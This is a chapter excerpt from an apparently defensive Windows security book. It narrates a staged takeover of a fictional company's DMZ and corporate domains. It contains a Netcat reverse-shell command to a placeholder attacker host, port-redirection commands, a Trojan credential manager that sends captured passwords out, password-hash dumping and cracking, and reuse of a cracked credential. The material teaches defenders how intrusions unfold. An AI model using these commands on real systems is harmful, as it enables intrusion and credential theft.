Home > Articles > Operating Systems, Server > Microsoft Servers

  • Print
  • + Share This
This chapter is from the book

Taking Over the Domain

Now we need to get down to the business of taking over the DMZ domain. Recall that so far we own the database server and the Web server, everything except the domain controller in fact. However, what have we really gained with the Web server? To find out, we need to start by uploading our tools to it and then get a remote command shell on that system just like we did on the database server. It is just a bit simpler now that we have an administrative SMB connection to the Web server. For example, we can now schedule a command or run a remote command utility to upload our warez to the Web server and execute them there. After we have done that, we run Netcat and pop back a remote shell to our attacker host just like we did with the Web server. We start by opening up a Netcat listener on port 12346 on the attacker host. Then we use System Internals excellent psexec tool to upload our warez to the Web server and execute our remote command:

C:\warez\psexec \\pyn-web -d c:\warez\nc -v -e cmd.exe attacker.external 12346

This will generate a remove command shell from the Web server on our attacker, just like from the Web server.

The observant reader may have noticed by now that so far, if you do not count a very graphically deficient Web site, we have not seen so much as a dialog box. Frankly, many attackers (ourselves included) prefer working with a command line because it is often more efficient for attacks However, with two machines compromised, the attacker may also access a graphical user interface (GUI), but will have to resort to some trickery to do so.

The most obvious GUI connection is to use Windows Terminal Services (RDP). RDP listens on port 3389. A port scan of the database server reveals that it also has Terminal Services running:

C:\warez>portscan 172.17.0.3
Port 172.17.0.3:135 open
Port 172.17.0.3:139 open
Port 172.17.0.3:445 open
Port 172.17.0.3:1433 open
Port 172.17.0.3:3389 open

The problem is that we cannot just rebind Terminal Services to use that port. If we were to do that, it would be highly noticeable. Stealth is critical to attackers, so we have to do something else. That something else is a port redirector.

Recall that we only had two ports open on the firewall, 80 and 443. Also remember that there was nothing listening on port 443 on the Web server. If we needed to open a listener somewhere, that would be a great port to use. If only required ports are open in the firewall, the attacker would have to disrupt an existing service, however briefly, to set up a listener. However, if there are unused ports open in the firewall, we can set up a port redirector without disrupting operations and risk tipping off the legitimate administrators.

A port redirector takes traffic coming in on one port and directs it to another host on another port. In other words, we can set up a port redirector on the Web server that will take incoming traffic on port 443 and send it out to port 3389 on the database server. Breaking with the tradition of not shipping attack tools with the OS, Microsoft now ships a port redirector with IPv6:

C:\warez>netsh interface portproxy add v4tov4 listenport=443 connectaddress=PYN-SQL connectport=3389

If IPv6 is installed, the netsh tool is extended to include a port proxy. This functionality is designed to map an IPv6 port to an IPv4 port (more correctly, a transport layer port on top of IPv6 to another transport layer port on IPv4) to enable IPv6 traversal on IPv4 networks.

If the compromised host does not have IPv6, the attacker would either need to install it or use a custom attack tool. Since the Web server has IPv6 in this case, however, we can use the built-in functionality. With that socket open, all we do is establish to the Web server connection using our ordinary Terminal Services client. Note that we tell the client to connect to the Web server, not to the database server. The port redirector takes care of forwarding our traffic to the database server.

mstsc /v:www.victimsrus.com:443

The result is easy to see in Figure 2-6. We can now log on with our _IDS user account. Once there, we have the full power of a GUI.

02fig08.jpg

Figure 2-6 Obtaining a graphical shell is possible through a poorly configured firewall.

Going back to the Web server for a moment, we still do not know who the administrators are on that server because dumpinfo would not tell us. We can use the built-in tools to find out:

C:\warez>net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

---------------------------------------------------------------
PYN-DMZ\_ids
Administrator
PYN-DMZ\Domain Admins
The command completed successfully.

This is actually highly interesting. There are not many accounts here. We only see the service account we have already found, the local Administrator, and the Domain Admins. That probably means that when they need to administer the system, the administrators use an account in the Domain Admins group. That is really good to know, because it opens the possibility of using a Trojan horse program to make one of those users take over the domain for us.

Generally speaking, an attacker would rather use a direct attack because they give faster results. However, if all else fails, we will resort to a passive attack to accomplish our goal. A Trojan is one form of such an attack, and in this case, we are going to turn the logon process into a Trojan.

To do so, we use yet another custom tool. We will register it on the Web server (172.17.0.1) from our Terminal Services connection on the database server and set it up to notify our attacker, 192.168.2.112, as shown in Figure 2-7.

02fig09.jpg

Figure 2-7 Registering a Trojan horse.

The Trojan is self-registering and installs itself in a couple of places. First, it installs a "credential manager." A credential manager may be legitimately used to connect to other systems using the credentials you logged on to this system with. Because it receives cleartext credentials to do this, it may be illegitimately used to capture cleartext passwords any time anyone logs on. Now consider this, what is the first thing the admin is likely to do if something seems amiss with a system? Far too often, the answer is "log on." As soon as that happens, the attacker gets this handy notification:

C:\ >nc -l -p 80
Authentication
Type=MSV1_0:Interactive
Station Name=WinSta0
User=PYN-DMZ\Administrator
Password="Test1234"

In this case, the notification is going to the attacker host via port 80. We just set up Netcat on that host and told it to echo everything sent to it to the screen. This particular Trojan simply opens a socket to port 80 on the attacker's host and sends the notification to it. However, notifications could be encrypted, encoded, come over just about any port or protocol, and altered in myriad ways. Attackers often use Internet Relay Chat (IRC), for instance. We have also seen several Trojans that implement encryption of all notifications, although we have yet to see one that does a very good job on key exchange.

The Trojan also puts a link to itself in HKLM\Software\Microsoft\ Windows\CurrentVersion\Run. When it gets called, it determines whether the user logging on is a domain administrator. If so, the Trojan, which is now executing in the context of that user, creates a new user account on the domain and then adds that account to the Domain Admins group. (The credential manager runs as LocalSystem, and cannot perform this task, which is why this is done by the portion under the Run key instead.) If it was successful in creating the new user, it sends a notification to the attacker over the same notification channel used previously:

Succeeded in adding a user.
User: attacker$
Password: "Uare0wn3d!"
Domain: PYN-DMZ
DC: PYN-DMZ-DC

Finally, the Trojan removes itself from the Run key to hide its tracks. All this happens while the administrator is logging on, and therefore is completely transparent to him.

Credential managers, as mentioned earlier, are used to connect transparently to other systems using the credentials you logged on to this system with. This is all part of that great panacea of system administration—single sign-on. However, if you change your password on this system, you also need to change it on the other system. Therefore, the credential manager can also synchronize passwords across systems, and it gets called on password change to do so. Now consider what the administrator would do if he suspected the system had been compromised and his password stolen? Changing the password seems like a good idea here, so he goes ahead and does that. The attacker now gets another notification:

Password Change
Type=MSV1_0:Interactive
Station Name=WinSta0
User=PYN-DMZ\Administrator
Old Password="Test1234"
New Password="Test12345"

Do we need to state it any more clearly than this? Once the bad guy can run code as a domain administrator, your network ain't your network any longer. That network is now completely untrustworthy.

At this point, as shown in Figure 2-1c, the DMZ domain has fallen. We now have full access to the keeper of the keys to the kingdom. Those keys consist of, among other things, the user accounts database, which we will get to shortly, right after we pop back another remote command shell just like before.

02fig10.gif

Figure 2-1c The DMZ domain controller has now been compromised.

As soon as the attacker takes over a domain controller, the first act is usually to extract all user accounts and password hashes from the domain controller. Because we have administrative privileges, doing so is a simple matter of running the very popular PWDump tool. Doing so results in output such as this:

C:\warez>pwdump2.exe
Administrator:500:624aac413795cdc1ff17365faf1ffe89:b9e0cfceaf6d077970306a2fd88a7c0a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:28237c666e4bb3cc96d670cadca1593b:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:cd072175763b0d5b3fbb152f57b96e7c:::
Alex:1106:daf058ae79085db217306d272a9441bb:c43325fdf77cafacf02f6e3eaa7f5020:::
Bob:1107:1df8f06dcf78bb3aaad3b435b51404ee:2408f92ab284046ddcc6952755f449e2:::
Cecil:1108:dbff4b96d021df2f93e28745b8bf4ba6:bbd9477810308a0b676f3cda91f10539:::
Denise:1109:d278e69987353c4c837daf3f2ddd5ca3:2c67b571425751747e7ae379fefe9fcc:::
Eric:1110:693de7f320aae76293e28745b8bf4ba6:fb853a32ccd2b92b43639b0e7d29e09d:::
Fred:1111:ea03148efb24d7fc5be30f58d2a941d5:18cce97ee181d42be654133658723813:::
George:1112:6c32f38de08f49f026f8092a33daaf05:a88b78471261477e26d9e4c11571b127:::
Henry:1113:49901659efc5e1d6aad3b435b51404ee:d986300c7c0c33d3cc5417dbac6f90db:::
Irene:1114:d6855d70abc371c2b77b4e7109416ab8:363c93e6be7a5cb001e7ad542c292f26:::
...

Full details on how to interpret this output are available in Chapter 11. For now, it is sufficient to know that Windows by default stores two different password representations: the LM "hash" (which is not actually a hash) and the NT hash. From this output, we can tell that this system stores the LM hashes. (For information on how, turn to Chapter 11.) This is good (bad?) news because it is so much easier to crack those. Feeding this output into our favorite password cracker, we soon get output as shown in Table 2-2.

Table 2-2. Password Cracker Output

USERNAME

LANMAN PASSWORD

LESS THAN EIGHT

NTLM PASSWORD

CRACK TIME

CRACK METHOD

Alex

ARIA_DNE

 

aria_Dne

0d 16h 52m 34s

Brute Force

Bob

_WILLAA

x

_WillAA

0d 1h 16m 8s

Brute Force

Cecil

???????S

       

Denise

DECEMBE(R

 

deceMbe(r

0d 0h 0m 43s

Brute Force

Eric

SHIVE*RS

 

shiVe*rs

0d 22h 36m 14s

Brute Force

Fred

AMORP(HOUS

 

aMorp(hous

0d 10h 41m 50s

Brute Force

George

P+AINLESS

 

p+aiNless

0d 6h 18m 4s

Brute Force

Henry

COFFEE`

x

coffEe`

0d 0h 0m 1s

Hybrid

Irene

MICH~ELLE

 

micH~elle

0d 14h 30m 26s

Brute Force

Julie

 

x

     

Kurt

NY^QUIST

 

Ny^quist

0d 22h 56m 17s

Brute Force

Laura

F_ERMAT

x

f_ermAt

0d 23h 56m 21s

Brute Force

Maggie

FISHE)RS

 

fiShe)rs

0d 22h 39m 2s

Brute Force

Teddy

AMORP(HOUS

 

aMorp(hous

0d 10h 41m 50s

Brute Force

Mike

YOSEMITE^

 

yosemiTe^

0d 0h 0m 1s

Hybrid

As you can see from Table 2-2, within 24 hours we have cracked most of the passwords on this system; and these are not bad passwords! We cracked three in less than a minute. A real attacker may crack passwords even faster. Tools are available that trade off storage space for cracking speed, greatly decreasing crack time. For a full discussion, turn to Chapter 11.

While the crack is going on, we will continue with learning more about the network:

C:\warez>ipconfig /all

Windows IP Configuration

   Host Name      . . . . . . . . . . .: PYN-DMZ-DC
   Primary Dns Suffix     . . . . . . .: PYN-DMZ.LOCAL
   Node Type      . . . . . . . . . . .: Unknown
   IP Routing Enabled     . . . . . . .: Yes
   WINS Proxy Enabled     . . . . . . .: No
   DNS Suffix Search List     . . . . .: PYN-DMZ.LOCAL

Ethernet adapter CorpNet:

   Connection-specific DNS Suffix   . .
   Description      . . . . . . . . . .: Intel 21140-Based PCI Fast Ethernet Adapter(Generic) #2
   Physical Address     . . . . . . . .: 00-03-FF-06-3E-F0
   DHCP Enabled     . . . . . . . . . .: No
   IP Address       . . . . . . . . . .: 10.1.2.16
   Subnet Mask      . . . . . . . . . .: 255.255.255.0
   Default Gateway      . . . . . . . .:
   DNS Servers      . . . . . . . . . .: 172.17.0.2

Ethernet adapter DMZNet:

   Connection-specific DNS Suffix  . :
   Description      . . . . . . . . . .: Intel 21140-Based PCI Fast Ethernet Adapter (Generic)
   Physical Address     . . . . . . . .: 00-03-FF-07-3E-F0
   DHCP Enabled     . . . . . . . . . .: No
   IP Address       . . . . . . . . . .: 172.17.0.2
   Subnet Mask      . . . . . . . . . .: 255.255.255.0
   Default Gateway      . . . . . . . .: 172.17.0.1
   DNS Servers    . . . . . . . . . . .: 172.17.0.2

This output is extremely interesting. The DC is not only dual-homed, it is dual-homed on the corporate network and the DMZ. This is sometimes done in order to be able to use user accounts from one domain in another. Regardless of the reasons, the corporate network is the ultimate target, so the attack proceeds by footprinting that network:

C:\warez>discoverHosts 10.1.2
Reply from 10.1.2.16: bytes=32 time<1ms TTL=128
Reply from 10.1.2.17: bytes=32 time=54ms TTL=128

16 is obviously the data center DC, but 17 is a new host that we have not seen before. Using another anonymous enumeration tool, we can get some more information on it:

C:\warez>getSystemDetails 10.1.2.17
Name: PYN-CORPDC
Domain: PYN
OS Version: 5.2

Server details:
Workstation service
Server service
Domain Controller
NTP Time source

17 is the domain controller we were looking for. We can tell that it is running Windows Server 2003, but not much else about it. Next we dump out the users:

C:\warez>dumpinfo 10.1.2.17

The Administrator is:   PYN\Administrator

Users on PYN-CORPDC:
RID 1000        PYN\HelpServicesGroup   an Alias
RID 1001        PYN\SUPPORT_388945a0    a User
RID 1002        PYN\TelnetClients       an Alias
RID 1003        PYN\PYN-CORPDC$ a User
RID 1104        PYN\Aaron     a User
RID 1105        PYN\Billy     a User
RID 1106        PYN\Chuck    a User
RID 1107        PYN\Dylan      a User
RID 1108        PYN\Ellen     a User
RID 1109        PYN\Frank      a User
RID 1110        PYN\Tom     a User
RID 1111        PYN\Dick       a User
RID 1112        PYN\Harry       a User
RID 1113        PYN\Ingrid   a User
RID 1114        PYN\Jennifer    a User
RID 1115        PYN\Maggie   a User
RID 1116        PYN\Teddy   a User
RID 1117        PYN\Mike   a User
RID 1118        PYN\McKenzie   a User...

Share           Type         Comment
IPC$            Unknown      Remote IPC
NETLOGON        Disk         Logon server share
ADMIN$          Special      Remote Admin
SYSVOL          Disk         Logon server share
C$              Special      Default share

Administrators:
Unable to enumerate administrators
ERROR: Access Denied

This system has far more users than the other ones we have seen. (The output above has been truncated for brevity.) That is to be expected though, because this is the main corporate DC. We also find several users who also had accounts on the DMZ DC. In fact, there is one whose passwords we cracked in seconds. It is probably reasonable to expect that users who have administrative accounts in the DMZ also have administrative accounts in the corporate network, and the chances that they use the same password on both networks are usually really good. For these reasons, most attackers would probably just go try any duplicated accounts. So far the attack has been very stealthy, and if it does not work there will be a single failed logon, which is an acceptable risk in most cases.

C:\warez>net use \\pyn-corpdc\c$ /u:pyn\Mike "yosemiTe^"
The command completed successfully.

That's it. As shown in Figure 2-1d, this network has now been completely compromised!

02fig11.gif

Figure 2-1d The entire network has now been compromised.

At this point the attacker could take whatever action is desired. Potential options would be to scavenge the network for data, steal confidential information, add him or herself to the payroll, use the network to attack some other network such as a business partner, and so on. The attacker now has complete and unrestricted access to the entire victimsrus.com network.

  • + Share This
  • 🔖 Save To Your Account